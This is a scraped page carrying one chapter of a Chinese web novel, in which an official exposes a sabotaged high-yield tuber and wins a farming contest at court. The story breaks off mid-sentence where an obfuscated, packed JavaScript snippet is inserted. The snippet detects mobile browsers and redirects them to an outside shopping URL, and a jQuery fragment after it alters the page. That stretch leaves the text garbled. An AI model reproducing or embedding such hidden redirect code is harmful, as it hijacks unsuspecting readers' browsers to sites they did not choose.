默认冷灰
24号文字
方正启体

44.第 44 章

作者:凉风菇凉本书字数:K更新时间:
    第四十四章:黄金薯危机


    “亩产二十五石!二十五石啊!”


    朝堂上,户部尚书王有德激动得声音劈了叉,双手捧着一颗拳头大、金黄色的块茎,那架势像捧着刚出生的嫡长孙。他的胡子都在抖:“陛下!天降祥瑞!此物若推广全国,我大梁将永无饥馑之忧!百姓顿顿能吃上饱饭!”


    满朝文武的眼睛瞪得像铜铃。二十五石?寻常年景,一亩地能收五石小麦就算风调雨顺祖宗保佑了。这玩意儿顶五倍!


    连一向稳重的王侍郎都探出身子:“王大人,此物……当真如此神异?”


    “千真万确!”王有德唾沫星子喷出三尺远,“泉州试种了三亩,收成七十五石有余!堆成小山!而且不挑地,旱地、坡地、沙地都能长,三个月就熟!从种到收,九十天!”


    皇帝也坐直了身子,身体前倾:“此物从何而来?”


    “南洋商船带回,说是海外蛮夷的主食,当地土话叫‘甘薯’。”王有德呈上奏报,厚厚一沓,“臣已命太仆寺试食三日,无毒无害,蒸煮烤炸皆宜,饱腹感极强,吃两个能顶一天!”


    朝堂沸腾了。饥荒是悬在历代王朝头上的刀,若能一劳永逸解决粮食问题,那真是千秋功业,青史留名!


    只有梁若淳皱着眉头。她在听到“三个月就熟”“不挑地”时,心里就拉响了警报。自然界哪有这么完美的作物?事出反常必有妖。


    “梁爱卿似乎不喜?”皇帝注意到了她的表情。


    梁若淳出列,拱手:“陛下,臣请先对此物详加检测,再议推广之事。亩产过高、生长过快,恐有隐患。”


    李齐伟立刻跳了出来,山羊胡一翘:“检测什么?户部不是试吃过了吗?无毒!太仆寺的人活蹦乱跳的!梁大人是不是见不得百姓吃饱饭?还是觉得自己的那些奇技淫巧被比下去了?”


    这话很毒。几个出身寒微、幼年挨过饿的官员看向梁若淳的眼神立刻变了。


    梁若淳不理会他,只对皇帝坚持:“陛下,世间万物皆有利弊。此物若真如此完美,为何原产地未能一统天下?臣请调拨十斤样品,由医学院和农学院联合检测。若真无问题,再推广不迟,不过晚三个月而已。”


    皇帝沉吟片刻,准了:“给你三天时间。春耕不等人,若三日后无确凿问题,即刻下旨推广。”


    “谢陛下。”


    散朝后,梁若淳立刻行动起来。她取了样品,分成三份:一份给张仲年做毒理检测,一份给农学院做种植试验,第三份……她带进了密室。


    显微镜下,黄金薯的切片呈现出异常规整的细胞结构,整齐得像用尺子画出来的。这本身就不正常——自然作物的细胞排列多少有些参差,哪有这么工整的?更让她心惊的是,在切片边缘发现了一种微小的晶体结构,芝麻粒的百分之一大小,闪着诡异的蓝光,像是……人工植入的标记物。


    她立刻联系观察者网络,调取数据库对比。一刻钟后,结果跳出来,让她浑身发冷:这是一种基因改良作物,来自编号029的播种者文明,备注栏写着——“029号擅长生物技术,其改良作物均植入追踪标记,疑似用于监控受赠文明发展进度,数据回传。”


    梁若淳想起017的警告:有些播种者会留下“礼物”,美其名曰帮助,实则是监视器,甚至是……定时炸弹。


    她冲出密室,直奔农学院试验田。负责试验的老农官赵老实正乐呵呵地蹲在地头,扒拉着土里的薯块:“梁大人您看!这才种下去两个月,就长了这么大!跟吹气似的!真神了!”


    梁若淳蹲下查看植株。叶子肥厚油亮,根系发达得像蜘蛛网,长势好得不正常,旁边的杂草都蔫蔫的。她拔起一株,掰开根茎断面,发现里面有些细微的、几乎看不见的蓝色丝线——那是基因改良作物的特征标记,为了增强抗病性和固氮能力,但在这个时代的技术条件下,根本无法检测出来。


    “这种薯,留种能接着种吗?”她问。


    “能!太能了!”赵老实兴奋得手舞足蹈,“那南洋商贩说了,切块埋土里就行,不用像麦子那样年年选种留种,省了多少事!这才是宝啊!”


    梁若淳心往下沉。不用留种,意味着农民会逐渐放弃需要年年选育的传统作物,完全依赖这种外来品种。一旦这品种出问题,或者被人控制源头……


    她赶回医学院时,张仲年那边的检测也有惊人发现。


    “短期食用确实无毒,人吃了没事。”老院使神色凝重,指着桌上的几笼白鼠,“但老夫用你教的新法子做了长期试验——连续喂三个月。发现……喂薯的老鼠,不孕了。”


    “什么?”梁若淳瞳孔一缩。


    “公鼠母鼠看着都活蹦乱跳,吃得肥肥壮壮,就是放在一起,怀不上崽。”张仲年打开一个笼子,里面两只肥硕的老鼠懒洋洋地趴着,“解剖了看,生殖系统有细微病变,像是被什么东西慢慢腐蚀了。若是人长期吃……”


    梁若淳头皮发麻。这是绝户计!推广几年后,人口自然下降,新生代减少,文明无声无息地衰退……好毒的手段!


    “还有更怪的。”张仲年压低声音,凑近些,“老夫发现,这薯块里分泌一种东西到土里,能让其他作物长不好。用种过黄金薯的地再种麦子,麦苗蔫蔫的,像被抢了饭吃……”


    这是生物压制!为了让农民只能种它,不得不种它!


    梁若淳连夜写奏折,附上所有检测报告和显微镜下的图谱。但第二天朝会,她刚出列要开口,就被一个面生的年轻御史打断了。


    “陛下!臣有本奏!”那御史声音尖利,指着梁若淳,“臣得举报:梁若淳私毁祥瑞,阻挠推广,其心可诛!”


    梁若淳一愣:“我何时毁薯?”


    “昨日农学院试验田的三亩薯苗,一夜之间全部枯死!”御史厉声道,义愤填膺,“看守农吏亲眼所见,昨夜只有梁大人携随从接近过试验田!今日薯苗尽数焦黑,不是她所为,还能有谁?”


    朝堂哗然。李齐伟冷笑一声,山羊胡得意地抖了抖:“梁大人好手段啊。自己检测不出问题,就干脆毁掉证据?这岂不是做贼心虚?”


    梁若淳明白了。这是栽赃。破晓会的人混进朝堂了,要借势逼她下台,同时强行推广毒薯。好一招连环计。


    她冷静回应,声音清晰:“陛下,臣有医学院与农学院的联合检测报告,证明此物长期食用有害,且会破坏耕地,压制他种。至于薯苗被毁——臣请求陛下彻查,必能找出真凶。臣昨夜确实去过试验田,但只为取样检测,有农官赵老实陪同,可为人证。”


    “你的报告,谁看得懂?”李齐伟抢过她手中的奏折,抖开来,指着上面的显微镜图谱,对满朝文武展示,“诸位看看!这些鬼画符,这些稀奇古怪的线啊点啊,就想否定天赐祥瑞?梁若淳,你是不是怕粮食多了,百姓不依赖你的那些‘科技’,你就没权了?你就失势了?”


    这话煽动性极强。连皇帝看梁若淳的眼神都带上了审视。


    梁若淳知道,现在讲显微镜、讲基因、讲长期毒性,没人听得进去。他们只看到二十五石的金山,看不到金山下面的陷阱。


    她深吸一口气,换了个说法:“陛下,诸位大人,此事其实简单。口说无凭,眼见为实。请陛下拨给臣一百亩地,臣用传统方法加上这几年琢磨的改良技术种小麦;户部王大人也用一百亩地,种这黄金薯。秋收之时,咱们比一比。看谁的收成更稳当,看谁的地还能接着种,看谁种出来的东西,人吃了更长远。”


    “何必浪费土地时间!”户部尚书王有德急了,“黄金薯三个月就熟,小麦要半年!等你的小麦熟了,薯都收两季了!这怎么比?”


    “那就比总产,比地力,比长远。”梁若淳不退让,“若薯真的样样都好,臣无话可说,自请辞官,从此不问农事。”


    这话太重,朝堂瞬间安静了。辞官赌约,这是破釜沉舟。


    皇帝看着梁若淳坚定的眼神,又看看那金黄的薯块,最终拍板:“各拨五十亩,就在洛阳西郊,毗邻而设,百官皆可随时查看。秋收之日,朕亲临评判。另,薯苗被毁之事,交由大理寺严查。”


    梁若淳知道,自己半只脚踏进了圈套。破晓会既然敢毁苗,就一定在试验田,甚至在她即将分到的田地里做了手脚。她那五十亩地,恐怕也难保。


    果然,她带人去划定的地块时,发现那五十亩地土质异常——颜色发暗,板结严重,显然是被人掺了东西,寻常作物根本长不好。


    “这是铁了心要让我输啊。”梁若淳蹲下抓了把土,在手里碾了碾,冷笑。


    白子理急得团团转:“大人,怎么办?这地种不出东西啊!要不……我们夜里偷偷换土?”


    “不换。”梁若淳站起身,拍了拍手上的土,眼睛眯起来,“他们不是要玩阴的吗?我陪他们玩。而且,要玩得他们目瞪口呆。”


    她不仅没要求换地,反而指着那片地旁边更差的一块沙壤地:“把那五十亩贫瘠沙地也划给我吧,凑个一百亩。省得有人说我占了好地。”


    户部的人看傻子一样看她,忙不迭答应了——沙地?那能种出个屁。


    梁若淳要的就是沙地。她拿出了017遗产中的一项“小技术”:土壤改良菌剂。这种特殊培养的菌种能分解沙土中的矿物质,释放养分,同时能固定空气中的氮气,增加地力。她带着学生们,借着夜色掩护,一夜之间把菌剂均匀撒遍百亩沙地。


    第二天,户部尚书王有德带着一群官员来“视察”,看到那片黄澄澄的沙地,差点笑出声,勉强忍住,摇头叹道:“梁大人,你这……未免太过托大。这沙地种点花生都勉强,种麦子?唉……”


    “地虽贫,人有智。”梁若淳淡淡回了一句,不再多说。


    她种的不是普通小麦,是这几年在影子研究室里,用传统选育方法结合一点点无害的改良技术,悄悄培育出的新种——产量不如黄金薯那么夸张,但也能到亩产七八石,而且耐旱、抗倒伏、抗常见病害。


    更绝的是,她没单一种小麦。她在麦田的田埂边、空隙处,套种了豆类和薯蓣(一种本土的块茎作物)。豆类能固氮养地,薯蓣产量虽不高,但能补充粮食,藤蔓还能覆盖地面保墒。这叫“麦-豆-薯蓣立体套种法”。


    三个月间,西郊这两片毗邻的田地,成了洛阳城一景,每日围观者络绎不绝。


    薯田那边,黄金薯长势惊人,一片郁郁葱葱,绿得发黑,藤蔓爬得到处都是。天天有官员、乡绅去参观,户部尚书王有德笑得见牙不见眼,逢人便说“祥瑞”“盛世”。


    梁若淳的沙地这边,起初蔫蔫的,麦苗发黄,引来不少嘲笑。但一个月后,情况开始逆转。麦苗颜色转为深绿,茎秆开始粗壮,豆类开了紫色白色的小花,薯蓣藤蔓铺满了地垄,整块地忽然变得生机勃勃,像个精壮的小伙子。


    更让人惊讶的是,梁若淳在田边立了一块巨大的木板,每天更新数据:土壤湿度、温度、虫害情况、植株高度、预计产量……用的全是百姓能看懂的数字、简单的图画和趋势箭头。来看热闹的农人越来越多,围着木板指指点点,恍然大悟:“原来种地还要看这些!”“你看梁大人那边,地里的野草都比别处长得规矩!”


    户部尚书王有德坐不住了。眼看梁若淳的麦子一天比一天好,他暗中派了心腹,带着一包药粉,想夜里去梁若淳田里撒——不是什么剧毒,就是让麦子长得慢点的药。


    但他的人刚摸到田边,就被几条黑影扑倒—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304314|196456||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —梁若淳早防着这手,让学生们轮班值守,还在田边草丛里拴了几条嗅觉敏锐的大黑狗。


    破坏没搞成,人赃并获。梁若淳没声张,只把那哭爹喊娘的家伙连同一包药粉悄悄交给了大理寺。但世上没有不透风的墙,消息还是传开了。舆论开始微妙地转向,不少人开始怀疑,黄金薯那边是不是也太……顺了?


    秋收那天,皇帝带着文武百官,亲临西郊。两边田地里,早已准备妥当。


    薯田那边先收。几十个农夫下地,挥锄挖掘。好家伙,一锄头下去,带出一串金灿灿的薯块,个个饱满。堆在地头,很快垒成一座小山。一亩地称完,报数官声音嘹亮:“亩产二十八石!破纪录!”


    王有德脸都笑烂了,红光满面,仿佛已经看见了加官进爵。


    轮到梁若淳的沙地。麦子用镰刀收割,豆子小心摘下,薯蓣连根挖出。分别打场、脱粒、称重。最后合计:亩产十一石五斗。


    数量上,输了一大截。围观人群里发出叹息。王有德下巴抬得更高了。


    但梁若淳不慌不忙,请皇帝移步她田边临时搭起的凉棚。


    棚子里摆着三张长桌。第一张上是食物样品:新麦蒸的麦饭、豆子熬的豆粥、薯蓣烙的饼子,还有几样田边采的野菜凉拌,摆得整整齐齐。第二张上是土壤样本:分别从薯田和她田里取的土,盛在木盒里,对比明显——薯田的土灰败、板结、捏都捏不散;她田里的土黝黑、疏松、散发着健康的土腥味。第三张……是几只竹笼,里面是喂了三个月不同食物的白鼠。


    “请陛下,请诸位大人,先品尝。”梁若淳示意。


    官员们将信将疑地试吃。麦饭嚼着香,豆粥喝着糯,薯蓣饼子带着清甜,几样小菜爽口。虽然不算珍馐,但搭配起来,滋味丰富,吃着舒服。


    “再看土壤。”梁若淳亲手掰开两块土,“薯田的土,种过一季后硬得像石头,捏不散,透不了气,明年必须换地,否则种啥死啥。而臣这块沙地,经过套种养地,越种越肥,越种越松。”


    最后是老鼠。张仲年亲自上前,打开笼子。喂黄金薯的老鼠肥硕但呆滞,动作迟缓;喂麦豆薯蓣混合食物的老鼠活泼好动,毛色光亮。张仲年请旨后,当场解剖了几只,将生殖系统置于琉璃盘中展示——差异一目了然。


    现场死寂。只有远处农夫搬运薯块的吆喝声隐隐传来。


    梁若淳这才拿出最后的杀手锏,一份泉州港的审讯记录:“陛下,臣已派人查清那艘南洋商船的底细。船主交代,是一个遮住面目的神秘人,出重金雇他运此薯来中原,并教他如何鼓吹此物之神奇。所付定金,是成色极好的西域银币。”


    她顿了顿,呈上画影图形:“根据船主描述,画师绘出此人形貌特征。经四海商会辨认,与江南剿灭破晓会时,在逃的一名余孽头目……吻合。”


    朝堂震动了。皇帝接过图纸,脸色渐渐铁青。


    “所以……这所谓祥瑞,从头到尾,是一场阴谋?”皇帝的声音压着怒意。


    “是毒计。”梁若淳沉声道,目光扫过那堆金黄的薯山,“用难以置信的高产诱惑我们放弃根本,几年之后,土地板结荒废,粮种受制于人,人口悄然衰减……届时悔之晚矣。破晓会,或其背后的势力,根本不在乎百姓吃饱,他们在乎的是让这个文明‘病弱’下去。”


    她看向那依旧耀眼的黄金薯:“然此物也并非全无可取。其高产特性,若谨慎控制,在灾年青黄不接时,作为应急救荒之粮,未尝不可。但绝不能作为主粮推广,更不能让它取代我们的根本。”


    户部尚书王有德早已瘫坐在地,面如死灰。


    皇帝沉默良久,目光从黄金薯移到梁若淳那片已经收割的沙地,麦茬整齐,豆蔓犹绿。最终下旨:“黄金薯列为官仓管制作物,各州府仅可储备少量,非特大灾荒不得动用;梁若淳所献‘套种养地法’,着工部编纂成册,颁行天下,各级农官需熟习推行;破晓会余孽,由大理寺、刑部并四海商会,全力追剿,务必肃清!”


    散朝后,王侍郎追上脚步匆匆的梁若淳,低声道:“你既早知是阴谋,为何不一开始就雷霆揭穿?何必赌上官职,冒此风险?”


    梁若淳苦笑:“王大人,口说无凭啊。百姓看到堆成山的粮食就眼红,官员看到唾手可得的政绩就冲动。只有让他们亲眼看见,亲口尝到,亲手摸到,对比出好坏,体会出长短,这教训才能刻进骨子里。下一次,再遇到这种‘天上掉下来的馅饼’,他们才会先想一想,闻一闻。”


    她望着宫门外熙攘的街市,炊烟袅袅:“科技强国,不是追求最快、最炫、最省事的路。是追求最稳、最实、最长久的踏。有些看起来金光闪闪的捷径,走近了看,其实是悬崖。”


    一个月后,大理寺查出,那个当朝弹劾梁若淳的年轻御史,果然是破晓会费心培养、冒名顶替潜入朝中的棋子,事败后已潜逃无踪。


    而梁若淳的那百亩沙地,成了农学院最抢手的示范基地。各地农官络绎不绝来学习“套种养地法”,她主持编纂的《农事三要手册》免费发放到各乡各里。


    至于那五十亩黄金薯……梁若淳没让全部销毁。她留下了几筐,在隔离的试验田里继续研究。她要尝试找到去除或抑制其毒性、保留其部分高产特性的方法。也许很多年后,经过改造,这种作物真能成为造福百姓的宝贝。


    但不是现在。


    现在要做的,是弯腰低头,夯实脚下的每一寸土。是耐心选育自己的种子,是细心养护自己的土地。


    秋风吹过空旷的田野,麦茬在夕阳下泛着金黄色的光,那是属于耕耘者的、踏实的颜色。


    梁若淳站在田埂上,抓起一把黝黑、松软、充满活力的泥土,任由它们从指缝间簌簌落下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)